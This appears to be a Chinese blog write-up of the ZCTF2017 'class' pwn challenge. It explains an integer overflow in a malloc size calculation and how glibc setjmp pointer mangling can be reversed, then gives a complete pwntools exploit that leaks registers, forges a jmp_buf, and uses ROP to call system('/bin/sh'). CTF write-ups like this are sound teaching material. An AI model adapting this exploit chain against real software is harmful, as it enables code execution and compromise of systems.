每日一胖——ZCTF2017之class

漏洞类型:整数溢出

程序入口

Welcome to my class!
Please input the number of the student:10
1. Add Student
2. Show Student
3. Edit Student
4. Delete Student
5. Exit
>>

感觉比较像是和堆有关,实际上并不是。在init函数里面,有这样一段代码

g_class *init(void)
{
  g_class *result; // rax@6
  __int64 v1; // [sp+8h] [bp-8h]@1

  puts("Welcome to my class!");
  printf("Please input the number of the student:");
  v1 = read_int();
  if ( v1 <= 29 )
    v1 = 30LL;
  g_class = (g_class *)malloc(200 * v1 + 8);
  if ( !g_class )
  {
    puts("malloc fail");
    exit(0);
  }
  memset(g_class, 0, 200 * v1 + 8);
  result = g_class;
  g_class->student[0].total = v1;
  return result;
}

malloc函数的参数源于我们输入的整数乘以200后加8,那么在给定一个比较大且合适的数将会使得整数溢出,从而可以只分配一小块内存

In [3]: (1 << 64) / 200
Out[3]: 92233720368547758L

In [4]: hex(92233720368547758 * 200 + 8)
Out[4]: '0xfffffffffffffff8L'

In [5]: hex(92233720368547759 * 200 + 8)
Out[5]: '0x100000000000000c0L'

因此,只要输入92233720368547759就可以将分配的内存限制在0xc0。完成了这一步,我们基本上就可以泄露堆上的大部分内存数据。接下来就是比较有意思的地方,程序并没有使用while来实现循环,而是使用了setjmplongjmp来实现【原理参见】,其中涉及到的数据结构为jmp_buf。相关调用代码

  jmp_buf = (struct __jmp_buf_tag *__attribute__((__org_arrdim(0,1))) )malloc(0xC8uLL);
  if ( _setjmp(jmp_buf) == 0 )
    handle();

其在堆中的结构如下:

0x55ede4e890d0: 0x0 0xd1
0x55ede4e890e0: 0x0 0x59b8f88abca1ad76
0x55ede4e890f0: 0x55ede442caa0 <_start> 0x7ffc0aa1bfd0
0x55ede4e89100: 0x0 0x0
0x55ede4e89110: 0x59b8f88abca1ad76  0xd9b254c686bad76

跟踪setjmp函数,不难发现,部分数据加入了异或处理

Dump of assembler code for function __sigsetjmp:
=> 0x00007f77c501acf0 <+0>: mov    QWORD PTR [rdi],rbx
   0x00007f77c501acf3 <+3>: mov    rax,rbp
   0x00007f77c501acf6 <+6>: xor    rax,QWORD PTR fs:0x30
   0x00007f77c501acff <+15>:    rol    rax,0x11
   0x00007f77c501ad03 <+19>:    mov    QWORD PTR [rdi+0x8],rax
   0x00007f77c501ad07 <+23>:    mov    QWORD PTR [rdi+0x10],r12
   0x00007f77c501ad0b <+27>:    mov    QWORD PTR [rdi+0x18],r13
   0x00007f77c501ad0f <+31>:    mov    QWORD PTR [rdi+0x20],r14
   0x00007f77c501ad13 <+35>:    mov    QWORD PTR [rdi+0x28],r15
   0x00007f77c501ad17 <+39>:    lea    rdx,[rsp+0x8]
   0x00007f77c501ad1c <+44>:    xor    rdx,QWORD PTR fs:0x30
   0x00007f77c501ad25 <+53>:    rol    rdx,0x11
   0x00007f77c501ad29 <+57>:    mov    QWORD PTR [rdi+0x30],rdx
   0x00007f77c501ad2d <+61>:    mov    rax,QWORD PTR [rsp]
   0x00007f77c501ad31 <+65>:    xor    rax,QWORD PTR fs:0x30
   0x00007f77c501ad3a <+74>:    rol    rax,0x11
   0x00007f77c501ad3e <+78>:    mov    QWORD PTR [rdi+0x38],rax
   0x00007f77c501ad42 <+82>:    jmp    0x7f77c501ad50 <__sigjmp_save>

setjmprbxr12r13r14r15rsp+8rdx[rsp]都保存了下来。弄清楚了jmp_buf,后面的任务就是通过show操作泄露出这些寄存器的值,接着通过edit操作伪造数据,最后控制EIP。完整代码如下:

from pwn import *

debug = 1
slog = 0
p = process('./class')
if slog: context.log_level = True


def add_ret(vstr, length):
    if len(vstr) < length and not vstr.endswith('\n'):
        return vstr + '\n'
    else:
        return vstr


def rerol(d):
    return ((d << (64-0x11))+(d >> 0x11)) & 0xffffffffffffffff


def rol(d):
    return ((d << 0x11) + (d >> (64 - 0x11))) & 0xffffffffffffffff


def add(name, age, addr, introduce):
    p.recvuntil('Exit')
    p.sendline('1')
    p.recvuntil('name')
    p.send(add_ret(name, 0x20))
    p.recvuntil('age')
    p.send(add_ret(str(age), 0x2f))
    p.recvuntil('addr')
    p.send(add_ret(addr, 0x40))
    p.recvuntil('introduce')
    p.send(add_ret(introduce, 0x58))

def show(index):
    p.recvuntil('Exit')
    p.sendline('2')
    p.recvuntil('number')
    p.sendline(str(index))


def edit(index, name, age, addr, introduce):
    p.recvuntil('Exit')
    p.sendline('3')
    p.recvuntil('number')
    p.sendline(str(index))
    p.recvuntil('name')
    p.sendline(name)
    p.recvuntil('age')
    p.sendline(str(age))
    p.recvuntil('addr')
    p.sendline(addr)
    p.recvuntil('introduce')
    p.sendline(introduce)


if debug: gdb.attach(p, open('debug'))
p.recvuntil('student:')
p.sendline('92233720368547759')

# 泄露寄存器的值
show(1)
p.recvuntil('name:')
r12 = u64(p.recvuntil(',')[:-1].ljust(8, '\x00'))
print 'r12', hex(r12)
p.recvuntil('addr:')
enc_rsp = u64(p.recv(8))
enc_rip = u64(p.recvuntil(',')[:-1].ljust(8, '\x00'))

code_base = r12 - 0xaa0
print 'enc_rsp', hex(enc_rsp)
print 'enc_rip', hex(enc_rip)

real_rip = code_base + 0x1495
cookie = rerol(enc_rip) ^ real_rip

print 'cookie', hex(cookie)

real_rsp = rerol(enc_rsp) ^ cookie
print 'real_rsp', hex(real_rsp)

fake_rsp = real_rsp - 0x48
pop_rdi_ret = code_base + 0x000000000001523

# 伪造寄存器数据
addr = p64(rol(fake_rsp ^ cookie)) + p64(rol(pop_rdi_ret ^ cookie))

edit(1, '', 0, addr, '')

p.recvuntil('>>')
payload = '5;' + 'a' * 6

#布置rop泄露puts函数地址
puts_got = 0x0000000000202018 + code_base
puts_plt = 0x9a0 + code_base
main_ret = code_base + 0x0000000000001355
payload += p64(puts_got) + p64(puts_plt) + p64(main_ret)
p.sendline(payload)

put_addr = u64(p.recvline()[:-1].ljust(8, '\x00'))
print 'put addr is ', hex(put_addr)
libc_base = put_addr - 0x68f60
system_addr = libc_base + 0x3f460
print 'system addr is ', hex(system_addr)
bin_sh = libc_base + 0x161879
print '/bin/sh addr is ', hex(bin_sh)

# 布置rop获取shell
addr = p64(rol((fake_rsp - 0x28) ^ cookie)) + p64(rol(pop_rdi_ret ^ cookie))
edit(1, '', 0, addr, '')
payload = '5;' + 'a' * 6
payload += p64(bin_sh) + p64(system_addr) + p64(main_ret)
p.sendline(payload)
p.interactive()
最后编辑于
©著作权归作者所有,转载或内容合作请联系作者
  • 序言:七十年代末,一起剥皮案震惊了整个滨河市,随后出现的几起案子,更是在滨河造成了极大的恐慌,老刑警刘岩,带你破解...
    沈念sama阅读 214,904评论 6 497
  • 序言:滨河连续发生了三起死亡事件,死亡现场离奇诡异,居然都是意外死亡,警方通过查阅死者的电脑和手机,发现死者居然都...
    沈念sama阅读 91,581评论 3 389
  • 文/潘晓璐 我一进店门,熙熙楼的掌柜王于贵愁眉苦脸地迎上来,“玉大人,你说我怎么就摊上这事。” “怎么了?”我有些...
    开封第一讲书人阅读 160,527评论 0 350
  • 文/不坏的土叔 我叫张陵,是天一观的道长。 经常有香客问我,道长,这世上最难降的妖魔是什么? 我笑而不...
    开封第一讲书人阅读 57,463评论 1 288
  • 正文 为了忘掉前任,我火速办了婚礼,结果婚礼上,老公的妹妹穿的比我还像新娘。我一直安慰自己,他们只是感情好,可当我...
    茶点故事阅读 66,546评论 6 386
  • 文/花漫 我一把揭开白布。 她就那样静静地躺着,像睡着了一般。 火红的嫁衣衬着肌肤如雪。 梳的纹丝不乱的头发上,一...
    开封第一讲书人阅读 50,572评论 1 293
  • 那天,我揣着相机与录音,去河边找鬼。 笑死,一个胖子当着我的面吹牛,可吹牛的内容都是我干的。 我是一名探鬼主播,决...
    沈念sama阅读 39,582评论 3 414
  • 文/苍兰香墨 我猛地睁开眼,长吁一口气:“原来是场噩梦啊……” “哼!你这毒妇竟也来了?” 一声冷哼从身侧响起,我...
    开封第一讲书人阅读 38,330评论 0 270
  • 序言:老挝万荣一对情侣失踪,失踪者是张志新(化名)和其女友刘颖,没想到半个月后,有当地人在树林里发现了一具尸体,经...
    沈念sama阅读 44,776评论 1 307
  • 正文 独居荒郊野岭守林人离奇死亡,尸身上长有42处带血的脓包…… 初始之章·张勋 以下内容为张勋视角 年9月15日...
    茶点故事阅读 37,087评论 2 330
  • 正文 我和宋清朗相恋三年,在试婚纱的时候发现自己被绿了。 大学时的朋友给我发了我未婚夫和他白月光在一起吃饭的照片。...
    茶点故事阅读 39,257评论 1 344
  • 序言:一个原本活蹦乱跳的男人离奇死亡,死状恐怖,灵堂内的尸体忽然破棺而出,到底是诈尸还是另有隐情,我是刑警宁泽,带...
    沈念sama阅读 34,923评论 5 338
  • 正文 年R本政府宣布,位于F岛的核电站,受9级特大地震影响,放射性物质发生泄漏。R本人自食恶果不足惜,却给世界环境...
    茶点故事阅读 40,571评论 3 322
  • 文/蒙蒙 一、第九天 我趴在偏房一处隐蔽的房顶上张望。 院中可真热闹,春花似锦、人声如沸。这庄子的主人今日做“春日...
    开封第一讲书人阅读 31,192评论 0 21
  • 文/苍兰香墨 我抬头看了看天上的太阳。三九已至,却和暖如春,着一层夹袄步出监牢的瞬间,已是汗流浃背。 一阵脚步声响...
    开封第一讲书人阅读 32,436评论 1 268
  • 我被黑心中介骗来泰国打工, 没想到刚下飞机就差点儿被人妖公主榨干…… 1. 我叫王不留,地道东北人。 一个月前我还...
    沈念sama阅读 47,145评论 2 366
  • 正文 我出身青楼,却偏偏与公主长得像,于是被迫代替她去往敌国和亲。 传闻我的和亲对象是个残疾皇子,可洞房花烛夜当晚...
    茶点故事阅读 44,127评论 2 352

推荐阅读更多精彩内容

  • 1. Java基础部分 基础部分的顺序:基本语法,类相关的语法,内部类的语法,继承相关的语法,异常的语法,线程的语...
    子非鱼_t_阅读 31,612评论 18 399
  • 0. 引言 如果你学的第一门程序语言是C语言,那么下面这段程序很可能是你写出来的第一个有完整的 “输入---处理-...
    pandolia阅读 14,033评论 13 27
  • 1. 概说 缓冲区溢出又叫堆栈溢出(还有许许多的称呼),这是计算机程序难以避免的漏洞,除非有新的设计方式将程序运行...
    读书郞阅读 5,648评论 4 27
  • (一)Java部分 1、列举出JAVA中6个比较常用的包【天威诚信面试题】 【参考答案】 java.lang;ja...
    独云阅读 7,094评论 0 62
  • 摆布 宾不要
    MrUse阅读 170评论 0 1